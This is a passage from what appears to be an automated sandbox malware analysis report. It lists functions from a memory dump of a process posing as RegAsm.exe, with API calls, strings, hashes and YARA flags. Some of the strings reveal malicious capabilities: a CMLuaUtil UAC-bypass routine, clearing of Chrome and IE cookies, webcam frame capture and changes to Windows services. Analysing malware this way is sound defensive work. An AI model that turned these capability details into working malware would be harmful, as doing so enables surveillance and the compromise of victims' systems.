                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                      • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                      • API String ID: 1133728706-4073444585
                      • Opcode ID: 64fa2848a199bd2a40e0896628174b15822387fc8284c7b97a1890df31b02a60
                      • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                      • Opcode Fuzzy Hash: 64fa2848a199bd2a40e0896628174b15822387fc8284c7b97a1890df31b02a60
                      • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                      Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                      • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                      • Opcode Fuzzy Hash: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                      • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                      Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                      • _free.LIBCMT ref: 100092AB
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100092B6
                      • _free.LIBCMT ref: 100092C1
                      • _free.LIBCMT ref: 10009315
                      • _free.LIBCMT ref: 10009320
                      • _free.LIBCMT ref: 1000932B
                      • _free.LIBCMT ref: 10009336
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                      • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                      • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                      • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                      Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                      • _free.LIBCMT ref: 00450F48
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00450F53
                      • _free.LIBCMT ref: 00450F5E
                      • _free.LIBCMT ref: 00450FB2
                      • _free.LIBCMT ref: 00450FBD
                      • _free.LIBCMT ref: 00450FC8
                      • _free.LIBCMT ref: 00450FD3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                      • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                      • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                      • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                      Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                      • int.LIBCPMT ref: 00411183
                        • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                        • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                      • std::_Facet_Register.LIBCPMT ref: 004111C3
                      • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                      • String ID: (mG
                      • API String ID: 2536120697-4059303827
                      • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                      • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                      • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                      • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                      Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                      • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastValue___vcrt_
                      • String ID:
                      • API String ID: 3852720340-0
                      • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                      • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                      • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                      • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                      Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                      Download Yara Rule
                      APIs
                      • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                        • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                        • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                      • CoUninitialize.OLE32 ref: 00407629
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InitializeObjectUninitialize_wcslen
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                      • API String ID: 3851391207-1839356972
                      • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                      • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                      • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                      • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                      Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                      • GetLastError.KERNEL32 ref: 0040BAE7
                      Strings
                      • [Chrome Cookies not found], xrefs: 0040BB01
                      • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                      • UserProfile, xrefs: 0040BAAD
                      • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteErrorFileLast
                      • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                      • API String ID: 2018770650-304995407
                      • Opcode ID: ad6ae7ff657ff4a30210cd1c10e5c69c8194eac217f6538686f2b1907c56e876
                      • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                      • Opcode Fuzzy Hash: ad6ae7ff657ff4a30210cd1c10e5c69c8194eac217f6538686f2b1907c56e876
                      • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                      Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                      Download Yara Rule
                      APIs
                      • __allrem.LIBCMT ref: 0043AC69
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                      • __allrem.LIBCMT ref: 0043AC9C
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                      • __allrem.LIBCMT ref: 0043ACD1
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                      • String ID:
                      • API String ID: 1992179935-0
                      • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                      • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                      • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                      • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                      Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                      Download Yara Rule
                      APIs
                      • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                        • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: H_prologSleep
                      • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                      • API String ID: 3469354165-3054508432
                      • Opcode ID: 9314b83aae3a7b06203354bb90ca92a1341342f5f389125b76c9ca1e581a4c66
                      • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                      • Opcode Fuzzy Hash: 9314b83aae3a7b06203354bb90ca92a1341342f5f389125b76c9ca1e581a4c66
                      • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                      Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __cftoe
                      • String ID:
                      • API String ID: 4189289331-0
                      • Opcode ID: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                      • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                      • Opcode Fuzzy Hash: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                      • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                      Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                      Download Yara Rule
                      APIs
                      • _strlen.LIBCMT ref: 10001607
                      • _strcat.LIBCMT ref: 1000161D
                      • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
                      • lstrcatW.KERNEL32(?,?), ref: 1000165A
                      • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                      • lstrcatW.KERNEL32(00001008,?), ref: 10001686
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrcatlstrlen$_strcat_strlen
                      • String ID:
                      • API String ID: 1922816806-0
                      • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                      • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                      • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                      • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                      Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcatW.KERNEL32(?,?), ref: 10001038
                      • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                      • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                      • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                      • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                      • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$AttributesFilelstrcat
                      • String ID:
                      • API String ID: 3594823470-0
                      • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                      • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                      • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                      • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                      Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                      • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ChangeConfigManager
                      • String ID:
                      • API String ID: 493672254-0
                      • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                      • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                      • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                      • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                      Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                      • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLastValue___vcrt_
                      • String ID:
                      • API String ID: 3852720340-0
                      • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                      • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                      • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                      • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                      Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                      • _free.LIBCMT ref: 10005B2D
                      • _free.LIBCMT ref: 10005B55
                      • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                      • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                      • _abort.LIBCMT ref: 10005B74
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$_free$_abort
                      • String ID:
                      • API String ID: 3160817290-0
                      • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                      • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                      • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                      • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                      Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                      • _free.LIBCMT ref: 0044824C
                      • _free.LIBCMT ref: 00448274
                      • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                      • _abort.LIBCMT ref: 00448293
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free$_abort
                      • String ID:
                      • API String ID: 3160817290-0
                      • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                      • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                      • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                      • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                      Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                      • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                      • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                      • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                      • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                      Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                      • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
